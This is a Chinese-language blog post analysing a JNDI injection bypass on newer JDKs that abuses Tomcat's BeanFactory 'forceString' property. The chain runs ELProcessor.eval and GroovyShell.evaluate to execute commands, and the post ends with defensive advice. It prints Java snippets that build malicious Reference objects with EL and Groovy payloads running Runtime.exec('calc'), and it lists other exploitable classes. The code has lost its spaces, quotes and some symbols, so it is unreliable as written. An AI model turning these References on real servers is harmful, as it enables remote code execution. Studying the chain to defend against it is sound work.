JNDI 高版本绕过:本地 ObjectFactory 利用链
JNDI 高版本绕过本地 ObjectFactory 利用链写在前面JNDI 注入详解那篇讲了 8u191 的两条绕过–序列化对象、本地 ObjectFactory。其中“本地 ObjectFactory”是高版本 JDK8u191 甚至 JDK 11/17最通用的路子它不依赖远程类加载也不依赖反序列化 gadget 链只靠目标 classpath 上“现成的”ObjectFactory 类。这篇深挖几个经典 factory看它们怎么把一个 Reference 变成 RCE。核心就一个–Tomcat 的 BeanFactory配合不同目标类ELProcessor、GroovyShell用forceString这个机关把“设属性”变成“执行代码”。纯源码分析无截图。JNDI 技术原理篇关联 Tomcat/Groovy不设单一 CVE 行。一、为什么本地 ObjectFactory 难防8u191 禁了远程类加载JEP 290 又限制了 RMI 反序列化下篇细讲看似两条路都堵了。但NamingManager.getObjectInstance有个“本地 factory”路径如果 Reference 指定的 factory 类在目标 classpath 上能找到就直接用本地的不加载远程// NamingManager.getObjectInstance (简化)publicstaticObjectgetObjectInstance(Referenceref,...)throwsException{ObjectFactoryfactorygetFactory(ref);// 找 factoryif(factory!null){returnfactory.getObjectInstance(ref,...);// ★ 调本地 factory}...}// getFactory:用 Reference 的 factoryClassName 找类// 先本地 ClassLoader.loadClass(factoryClassName)找到就用// 找不到才用 factoryClassLocation(codebase)远程加载 -- 这步才受 trustURLCodebase 限关键在第二段本地找得到就不走远程。而 Tomcat、Groovy、Spring 这些常见依赖classpath 上就有实现了 ObjectFactory 的类。攻击者只要把 Reference 的 factory 指向这些本地类就能让目标“自己人打自己人”–trustURLCodebase管不着没加载远程类JEP 290 也管不着没反序列化。二、核心机关BeanFactory 的 forceStringTomcat 的org.apache.naming.factory.BeanFactory是最经典的跳板。它实现 ObjectFactory作用是把一个 Reference “装配”成一个 JavaBean实例化目标类然后按 Reference 的属性调 setter。危险在forceString属性–它能让 BeanFactory 调任意方法名不只限于 setXxx// org.apache.naming.factory.BeanFactory.getObjectInstance (Tomcat, 简化)publicObjectgetObjectInstance(Objectobj,...)throwsException{Referenceref(Reference)obj;StringbeanClassNameref.getClassName();ObjectbeanClass.forName(beanClassName).newInstance();// ① 实例化目标类RefAddrforceref.get(forceString);if(force!null){// forceString 格式 xeval - 属性 x 用方法 eval 来设// 解析出 methodNameevalMethodmbean.getClass().getMethod(eval,String.class);m.invoke(bean,ref.get(x).getContent());// ★ 调 bean.eval(恶意值)}returnbean;}正常forceString是为了兼容“setter 名不标准”的 bean比如某个属性 x 的设值方法不叫 setX 而叫别的。但攻击者用它指定任意方法名–只要目标类有个带单个 String 参数的危险方法如eval、evaluate、execforceString 就能让 BeanFactory 调它参数还可控。BeanFactory 本身不危险它只是个装配器危险在于“配哪个目标类 调哪个方法”。三、配合 ELProcessor执行 EL 表达式最经典的组合javax.el.ELProcessor的eval(String)方法能执行 EL 表达式。// 攻击者构造的 Reference由恶意 RMI/LDAP 服务返回ReferencerefnewReference(javax.el.ELProcessor,org.apache.naming.factory.BeanFactory,// factory 本地 BeanFactorynull);// 无需 codebaseref.add(newStringRefAddr(forceString,xeval));// 属性 x方法 evalref.add(newStringRefAddr(x,.getClass().forName(java.lang.Runtime)// EL 表达式Runtime.exec.getMethod(exec,[.getClass()]).invoke(...,calc)));流程JNDI 拿到 ReferencegetObjectInstance找 factoryBeanFactory本地有。BeanFactory 实例化ELProcessor。forceStringxeval- 调ELProcessor.eval(恶意EL表达式)。EL 表达式里Runtime.exec(calc)- RCE。Reference(classNameELProcessor, factoryBeanFactory) ├ BeanFactory:new ELProcessor() ├ forceString xeval - 方法名 eval └ eval(恶意EL) ★ EL 表达式执行 Runtime.exec - RCE前提目标 classpath 有 TomcatBeanFactory EL 实现javax.elTomcat 自带。这对跑在 Tomcat 上的 Spring 应用几乎是默认配置。四、配合 GroovyShell执行 Groovy 脚本同理groovy.lang.GroovyShell有evaluate(String)方法执行 Groovy 脚本ReferencerefnewReference(groovy.lang.GroovyShell,org.apache.naming.factory.BeanFactory,null);ref.add(newStringRefAddr(forceString,xevaluate));ref.add(newStringRefAddr(x,calc.execute()));// Groovy执行命令factoryBeanFactory 实例化 GroovyShellforceString 调evaluate(calc.execute())。Groovy 脚本calc.execute()等价Runtime.exec(calc)- RCE。前提目标 classpath 有 Groovy Tomcat。五、forceString 的本质方法名可控回看这几个组合套路一致找一个“带单参数 String 方法的类”用 forceString 调它的危险方法。候选类只要满足在常见 classpath 上Tomcat、Spring、Groovy、脚本引擎…。有xxx(String)形式的危险方法eval/evaluate/exec/…。目标类危险方法前提依赖javax.el.ELProcessoreval(String)Tomcat / EL 库groovy.lang.GroovyShellevaluate(String)Groovy Tomcatjavax.script.ScriptEngine(经 eval)脚本引擎ScriptEngineManager所以防御不能只盯着某个类–任何“实例化后能被 forceString 调到危险方法”的类都是潜在跳板。这也解释了为什么本地 ObjectFactory 比 gadget 链更难防gadget 链要特定的反序列化依赖而 ObjectFactory 只要 classpath 上有个带危险方法的类就行这类太多了。六、小结本地 ObjectFactory 绕过的精髓本地 factory 绕过远程限制getObjectInstance先找本地 factory找到就不走 codebasetrustURLCodebase形同虚设。BeanFactory 的 forceString 是机关把“设属性”变成“调任意方法”只要目标类有单参 String 的危险方法。难防在“目标类太多”ELProcessor、GroovyShell、ScriptEngine… classpath 上任何带 eval/evaluate/exec 的类都能被借力枚举不完。防御升级 Tomcat新版 BeanFactory 收紧了 forceString限制可调方法移除不必要依赖WAF 拦 JNDI 入口。但最根本还是别让用户输入进lookup。下一篇看 JNDI 反序列化路径和 JEP 290 的关系–为什么 LDAP 序列化比 RMI 序列化更“好用”。参考Tomcat BeanFactory 源码、javax.el ELProcessorJNDI 注入详解四种协议选择高版本 JNDI 利用研究各个 factory 链